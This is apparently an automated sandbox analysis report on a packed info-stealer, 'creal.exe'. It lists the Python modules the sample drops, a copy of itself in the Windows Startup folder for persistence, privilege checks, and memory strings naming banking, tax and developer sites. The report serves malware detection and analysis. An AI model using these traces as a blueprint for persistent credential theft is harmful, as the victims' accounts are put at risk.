Source: C:\Users\user\Desktop\creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75242\_socket.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75242\charset_normalizer\md__mypyc.cp312-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75242\_bz2.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75242\Crypto\Cipher\_raw_ofb.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI42922\VCRUNTIME140_1.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\Hash\_MD5.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75242\Crypto\Hash\_SHA384.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI42922\bcrypt\_bcrypt.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\Hash\_BLAKE2b.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75242\Crypto\Hash\_SHA256.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\Cipher\_raw_cfb.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\Hash\_SHA512.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI42922\unicodedata.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75242\pyexpat.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75242\_hashlib.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI42922\charset_normalizer\md__mypyc.cp312-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\Cipher\_raw_ctr.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75242\_decimal.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI42922\_hashlib.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI42922\_socket.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75242\bcrypt\_bcrypt.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI42922\python312.dll	Jump to dropped file
Source: C:\Users\user\Desktop\creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75242\_queue.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\Cipher\_raw_ocb.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\PublicKey\_ed25519.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75242\Crypto\Util\_strxor.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75242\Crypto\Cipher\_raw_des.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75242\Crypto\Math\_modexp.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75242\Crypto\Hash\_MD5.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\Cipher\_raw_aes.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI42922\_ssl.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI42922\_asyncio.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75242\_ctypes.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75242\Crypto\Cipher\_raw_ctr.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\Cipher\_Salsa20.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75242\Crypto\PublicKey\_ec_ws.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI42922\_wmi.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\PublicKey\_ed448.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75242\_overlapped.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI42922\_uuid.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75242\_multiprocessing.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\Hash\_keccak.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\PublicKey\_x25519.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75242\Crypto\Hash\_SHA1.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI42922\python3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75242\Crypto\Cipher\_ARC4.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75242\win32\win32api.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\Hash\_MD2.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI42922\_sqlite3.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75242\Crypto\Hash\_SHA512.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75242\cryptography\hazmat\bindings\_rust.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75242\Crypto\Hash\_RIPEMD160.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75242\Crypto\Cipher\_pkcs1_decode.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\Protocol\_scrypt.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\Hash\_ghash_portable.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75242\Crypto\Hash\_BLAKE2b.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\Cipher\_raw_eksblowfish.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\Util\_strxor.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75242\Crypto\PublicKey\_ed25519.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\Cipher\_raw_blowfish.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI42922\_overlapped.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75242\Crypto\Cipher\_raw_ecb.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\Hash\_SHA384.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\Cipher\_raw_aesni.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\Util\_cpuid_c.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75242\Crypto\PublicKey\_ed448.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\Cipher\_raw_cast.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\Hash\_SHA224.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI42922\win32\win32api.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\Hash\_MD4.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75242\pywin32_system32\pywintypes312.dll	Jump to dropped file
Source: C:\Users\user\Desktop\creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75242\Crypto\Cipher\_raw_cbc.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\Hash\_BLAKE2s.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75242\Crypto\PublicKey\_x25519.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI42922\select.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\PublicKey\_ec_ws.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\Cipher\_raw_arc2.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI42922\_multiprocessing.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75242\_cffi_backend.cp312-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI42922\pyexpat.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\Cipher\_raw_ecb.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75242\Crypto\Util\_cpuid_c.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75242\Crypto\Hash\_MD4.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\Hash\_poly1305.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\Hash\_RIPEMD160.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI42922\_lzma.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI42922\_cffi_backend.cp312-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75242\Crypto\Hash\_SHA224.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\Cipher\_ARC4.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\Hash\_SHA256.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI42922\pywin32_system32\pywintypes312.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI42922\_ctypes.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\Cipher\_raw_des3.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\Hash\_ghash_clmul.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75242\_sqlite3.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75242\Crypto\Cipher\_raw_aes.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI42922\_bz2.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75242\Crypto\Cipher\_raw_ocb.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI42922\_decimal.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75242\unicodedata.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75242\Crypto\Cipher\_raw_cfb.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\Cipher\_raw_des.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75242\Crypto\Hash\_MD2.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75242\python312.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI42922\_queue.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75242\Crypto\Cipher\_raw_arc2.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75242\_wmi.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75242\Crypto\Hash\_keccak.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75242\Crypto\Hash\_ghash_clmul.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75242\Crypto\Cipher\_raw_blowfish.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75242\_ssl.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75242\_lzma.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\Cipher\_raw_cbc.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75242\Crypto\Cipher\_raw_cast.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75242\python3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75242\charset_normalizer\md.cp312-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75242\Crypto\Cipher\_raw_aesni.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\Hash\_SHA1.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75242\select.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75242\Crypto\Cipher\_raw_des3.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75242\Crypto\Protocol\_scrypt.pyd	Jump to dropped file

Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Check user administrative privileges: GetTokenInformation,DecisionNodes
Source: C:\Users\user\Desktop\creal.exe	Check user administrative privileges: GetTokenInformation,DecisionNodes			graph_0-16318

Source: C:\Users\user\Desktop\creal.exe	API coverage: 1.8 %
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	API coverage: 1.5 %

Source: C:\Users\user\Desktop\creal.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT Architecture FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT Architecture FROM Win32_Processor

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\creal.exe	Code function: 0_2_00007FF67A608B00 FindFirstFileExW,FindClose,	0_2_00007FF67A608B00
Source: C:\Users\user\Desktop\creal.exe	Code function: 0_2_00007FF67A617F4C _invalid_parameter_noinfo,FindFirstFileExW,GetLastError,_invalid_parameter_noinfo,FindNextFileW,GetLastError,	0_2_00007FF67A617F4C
Source: C:\Users\user\Desktop\creal.exe	Code function: 0_2_00007FF67A621FE4 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,	0_2_00007FF67A621FE4
Source: C:\Users\user\Desktop\creal.exe	Code function: 0_2_00007FF67A617F4C _invalid_parameter_noinfo,FindFirstFileExW,GetLastError,_invalid_parameter_noinfo,FindNextFileW,GetLastError,	0_2_00007FF67A617F4C
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 26_2_00007FF7C3CE8B00 FindFirstFileExW,FindClose,	26_2_00007FF7C3CE8B00
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 26_2_00007FF7C3CF7F4C _invalid_parameter_noinfo,FindFirstFileExW,GetLastError,_invalid_parameter_noinfo,FindNextFileW,GetLastError,	26_2_00007FF7C3CF7F4C
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 26_2_00007FF7C3CF7F4C _invalid_parameter_noinfo,FindFirstFileExW,GetLastError,_invalid_parameter_noinfo,FindNextFileW,GetLastError,	26_2_00007FF7C3CF7F4C
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 26_2_00007FF7C3D01FE4 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,	26_2_00007FF7C3D01FE4

Source: C:\Users\user\Desktop\creal.exe

Code function: 2_2_00007FF8E68C1490 GetSystemInfo,

2_2_00007FF8E68C1490

Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Roaming\
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\

Source: creal.exe, 00000002.00000002.1571908402.00000185BCAD3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696497155j
Source: creal.exe, 0000001A.00000003.1546499713.0000025EFD905000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: j2aTPs+9xYa9+bG3tD60B8jzljHz7aRP+KNOjSkVWLjVb3/ubCK1sK9IRQq9qEmU
Source: creal.exe, 00000002.00000002.1571908402.00000185BCAD3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696497155t
Source: creal.exe, 00000002.00000002.1571908402.00000185BCAD3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ansaction PasswordVMware20,11696497155
Source: creal.exe, 00000002.00000002.1571908402.00000185BCAD3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696497155
